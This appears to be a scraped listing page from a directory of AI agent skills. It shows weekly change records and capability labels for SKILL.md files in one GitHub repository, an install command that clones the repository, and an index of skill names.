No earlier version was observed for comparison.
skills/close-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cloud-architect/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cloud-penetration-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/coda-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/code-documentation-code-explain/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/code-documentation-doc-generate/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/code-refactoring-context-restore/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/code-refactoring-refactor-clean/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/code-refactoring-tech-debt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/code-review-ai-ai-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/code-review-checklist/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/code-review-excellence/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/code-reviewer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/codebase-cleanup-deps-audit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/codebase-cleanup-refactor-clean/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/codebase-cleanup-tech-debt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/codex-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/commit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/competitive-landscape/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/competitor-alternatives/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/comprehensive-review-full-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/comprehensive-review-pr-enhance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/computer-use-agents/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/computer-vision-expert/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/concise-planning/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/conductor-implement/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/conductor-manage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/conductor-new-track/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/conductor-revert/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/conductor-setup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/conductor-status/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/conductor-validator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/confluence-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/content-creator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/content-marketer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context-compression/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context-degradation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context-driven-development/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context-fundamentals/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context-management-context-restore/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context-management-context-save/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context-manager/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context-optimization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context-window-management/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/context7-auto-research/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/conversation-memory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/convertkit-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/copilot-sdk/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/copy-editing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/copywriting/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/core-components/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cost-optimization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cpp-pro/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cqrs-implementation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/create-pr/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/crewai/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/crypto-bd-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/csharp-pro/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
Verified commit 785befcaceec439b3b60313837c1cc9a1f1a916f
git clone --filter=blob:none --no-checkout https://github.com/benjaminasterA/antigravity-awesome-skills.git .hotskills/benjaminastera-antigravity-awesome-skills && git -C .hotskills/benjaminastera-antigravity-awesome-skills checkout --detach 785befcaceec439b3b60313837c1cc9a1f1a916f
# Copy each selected skill directory from .hotskills/benjaminastera-antigravity-awesome-skills into .agents/skills/<skill-name>/Heat
7.5- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- 3d-web-experience
skills/3d-web-experience - ab-test-setup
skills/ab-test-setup - accessibility-compliance-accessibility-audit
skills/accessibility-compliance-accessibility-audit - active-directory-attacks
skills/active-directory-attacks - activecampaign-automation
skills/activecampaign-automation - address-github-comments
skills/address-github-comments - agent-evaluation
skills/agent-evaluation - agent-framework-azure-ai-py
skills/agent-framework-azure-ai-py - agent-manager-skill
skills/agent-manager-skill - agent-memory-mcp
skills/agent-memory-mcp - agent-memory-systems
skills/agent-memory-systems - agent-orchestration-improve-agent
skills/agent-orchestration-improve-agent - agent-orchestration-multi-agent-optimize
skills/agent-orchestration-multi-agent-optimize - agent-tool-builder
skills/agent-tool-builder - agents-v2-py
skills/agents-v2-py - ai-agents-architect
skills/ai-agents-architect - ai-engineer
skills/ai-engineer - ai-product
skills/ai-product - ai-wrapper-product
skills/ai-wrapper-product - airflow-dag-patterns
skills/airflow-dag-patterns - airtable-automation
skills/airtable-automation - algolia-search
skills/algolia-search - algorithmic-art
skills/algorithmic-art - amplitude-automation
skills/amplitude-automation - analytics-tracking
skills/analytics-tracking - angular
skills/angular - angular-best-practices
skills/angular-best-practices - angular-migration
skills/angular-migration - angular-state-management
skills/angular-state-management - angular-ui-patterns
skills/angular-ui-patterns - anti-reversing-techniques
skills/anti-reversing-techniques - antigravity-workflows
skills/antigravity-workflows - api-design-principles
skills/api-design-principles - api-documentation-generator
skills/api-documentation-generator - api-documenter
skills/api-documenter - api-fuzzing-bug-bounty
skills/api-fuzzing-bug-bounty - api-patterns
skills/api-patterns - api-security-best-practices
skills/api-security-best-practices - api-testing-observability-api-mock
skills/api-testing-observability-api-mock - app-builder
skills/app-builder - templates
skills/app-builder/templates - app-store-optimization
skills/app-store-optimization - application-performance-performance-optimization
skills/application-performance-performance-optimization - architect-review
skills/architect-review - architecture
skills/architecture - architecture-decision-records
skills/architecture-decision-records - architecture-patterns
skills/architecture-patterns - arm-cortex-expert
skills/arm-cortex-expert - asana-automation
skills/asana-automation - async-python-patterns
skills/async-python-patterns - attack-tree-construction
skills/attack-tree-construction - audio-transcriber
skills/audio-transcriber - auth-implementation-patterns
skills/auth-implementation-patterns - automate-whatsapp
skills/automate-whatsapp - autonomous-agent-patterns
skills/autonomous-agent-patterns - autonomous-agents
skills/autonomous-agents - avalonia-layout-zafiro
skills/avalonia-layout-zafiro - avalonia-viewmodels-zafiro
skills/avalonia-viewmodels-zafiro - avalonia-zafiro-development
skills/avalonia-zafiro-development - aws-penetration-testing
skills/aws-penetration-testing - aws-serverless
skills/aws-serverless - aws-skills
skills/aws-skills - azd-deployment
skills/azd-deployment - azure-ai-agents-persistent-dotnet
skills/azure-ai-agents-persistent-dotnet - azure-ai-agents-persistent-java
skills/azure-ai-agents-persistent-java - azure-ai-anomalydetector-java
skills/azure-ai-anomalydetector-java - azure-ai-contentsafety-java
skills/azure-ai-contentsafety-java - azure-ai-contentsafety-py
skills/azure-ai-contentsafety-py - azure-ai-contentsafety-ts
skills/azure-ai-contentsafety-ts - azure-ai-contentunderstanding-py
skills/azure-ai-contentunderstanding-py - azure-ai-document-intelligence-dotnet
skills/azure-ai-document-intelligence-dotnet - azure-ai-document-intelligence-ts
skills/azure-ai-document-intelligence-ts - azure-ai-formrecognizer-java
skills/azure-ai-formrecognizer-java - azure-ai-ml-py
skills/azure-ai-ml-py - azure-ai-openai-dotnet
skills/azure-ai-openai-dotnet - azure-ai-projects-dotnet
skills/azure-ai-projects-dotnet - azure-ai-projects-java
skills/azure-ai-projects-java - azure-ai-projects-py
skills/azure-ai-projects-py - azure-ai-projects-ts
skills/azure-ai-projects-ts - azure-ai-textanalytics-py
skills/azure-ai-textanalytics-py - azure-ai-transcription-py
skills/azure-ai-transcription-py - azure-ai-translation-document-py
skills/azure-ai-translation-document-py - azure-ai-translation-text-py
skills/azure-ai-translation-text-py - azure-ai-translation-ts
skills/azure-ai-translation-ts - azure-ai-vision-imageanalysis-java
skills/azure-ai-vision-imageanalysis-java - azure-ai-vision-imageanalysis-py
skills/azure-ai-vision-imageanalysis-py - azure-ai-voicelive-dotnet
skills/azure-ai-voicelive-dotnet - azure-ai-voicelive-java
skills/azure-ai-voicelive-java - azure-ai-voicelive-py
skills/azure-ai-voicelive-py - azure-ai-voicelive-ts
skills/azure-ai-voicelive-ts - azure-appconfiguration-java
skills/azure-appconfiguration-java - azure-appconfiguration-py
skills/azure-appconfiguration-py - azure-appconfiguration-ts
skills/azure-appconfiguration-ts - azure-communication-callautomation-java
skills/azure-communication-callautomation-java - azure-communication-callingserver-java
skills/azure-communication-callingserver-java - azure-communication-chat-java
skills/azure-communication-chat-java - azure-communication-common-java
skills/azure-communication-common-java - azure-communication-sms-java
skills/azure-communication-sms-java - azure-compute-batch-java
skills/azure-compute-batch-java - azure-containerregistry-py
skills/azure-containerregistry-py - azure-cosmos-db-py
skills/azure-cosmos-db-py - azure-cosmos-java
skills/azure-cosmos-java - azure-cosmos-py
skills/azure-cosmos-py - azure-cosmos-rust
skills/azure-cosmos-rust - azure-cosmos-ts
skills/azure-cosmos-ts - azure-data-tables-java
skills/azure-data-tables-java - azure-data-tables-py
skills/azure-data-tables-py - azure-eventgrid-dotnet
skills/azure-eventgrid-dotnet - azure-eventgrid-java
skills/azure-eventgrid-java - azure-eventgrid-py
skills/azure-eventgrid-py - azure-eventhub-dotnet
skills/azure-eventhub-dotnet - azure-eventhub-java
skills/azure-eventhub-java - azure-eventhub-py
skills/azure-eventhub-py - azure-eventhub-rust
skills/azure-eventhub-rust - azure-eventhub-ts
skills/azure-eventhub-ts - azure-functions
skills/azure-functions - azure-identity-dotnet
skills/azure-identity-dotnet - azure-identity-java
skills/azure-identity-java - azure-identity-py
skills/azure-identity-py - azure-identity-rust
skills/azure-identity-rust - azure-identity-ts
skills/azure-identity-ts - azure-keyvault-certificates-rust
skills/azure-keyvault-certificates-rust - azure-keyvault-keys-rust
skills/azure-keyvault-keys-rust - azure-keyvault-keys-ts
skills/azure-keyvault-keys-ts - azure-keyvault-py
skills/azure-keyvault-py - azure-keyvault-secrets-rust
skills/azure-keyvault-secrets-rust - azure-keyvault-secrets-ts
skills/azure-keyvault-secrets-ts - azure-maps-search-dotnet
skills/azure-maps-search-dotnet - azure-messaging-webpubsub-java
skills/azure-messaging-webpubsub-java - azure-messaging-webpubsubservice-py
skills/azure-messaging-webpubsubservice-py - azure-mgmt-apicenter-dotnet
skills/azure-mgmt-apicenter-dotnet - azure-mgmt-apicenter-py
skills/azure-mgmt-apicenter-py - azure-mgmt-apimanagement-dotnet
skills/azure-mgmt-apimanagement-dotnet - azure-mgmt-apimanagement-py
skills/azure-mgmt-apimanagement-py - azure-mgmt-applicationinsights-dotnet
skills/azure-mgmt-applicationinsights-dotnet - azure-mgmt-arizeaiobservabilityeval-dotnet
skills/azure-mgmt-arizeaiobservabilityeval-dotnet - azure-mgmt-botservice-dotnet
skills/azure-mgmt-botservice-dotnet - azure-mgmt-botservice-py
skills/azure-mgmt-botservice-py - azure-mgmt-fabric-dotnet
skills/azure-mgmt-fabric-dotnet - azure-mgmt-fabric-py
skills/azure-mgmt-fabric-py - azure-mgmt-mongodbatlas-dotnet
skills/azure-mgmt-mongodbatlas-dotnet - azure-mgmt-weightsandbiases-dotnet
skills/azure-mgmt-weightsandbiases-dotnet - azure-microsoft-playwright-testing-ts
skills/azure-microsoft-playwright-testing-ts - azure-monitor-ingestion-java
skills/azure-monitor-ingestion-java - azure-monitor-ingestion-py
skills/azure-monitor-ingestion-py - azure-monitor-opentelemetry-exporter-java
skills/azure-monitor-opentelemetry-exporter-java - azure-monitor-opentelemetry-exporter-py
skills/azure-monitor-opentelemetry-exporter-py - azure-monitor-opentelemetry-py
skills/azure-monitor-opentelemetry-py - azure-monitor-opentelemetry-ts
skills/azure-monitor-opentelemetry-ts - azure-monitor-query-java
skills/azure-monitor-query-java - azure-monitor-query-py
skills/azure-monitor-query-py - azure-postgres-ts
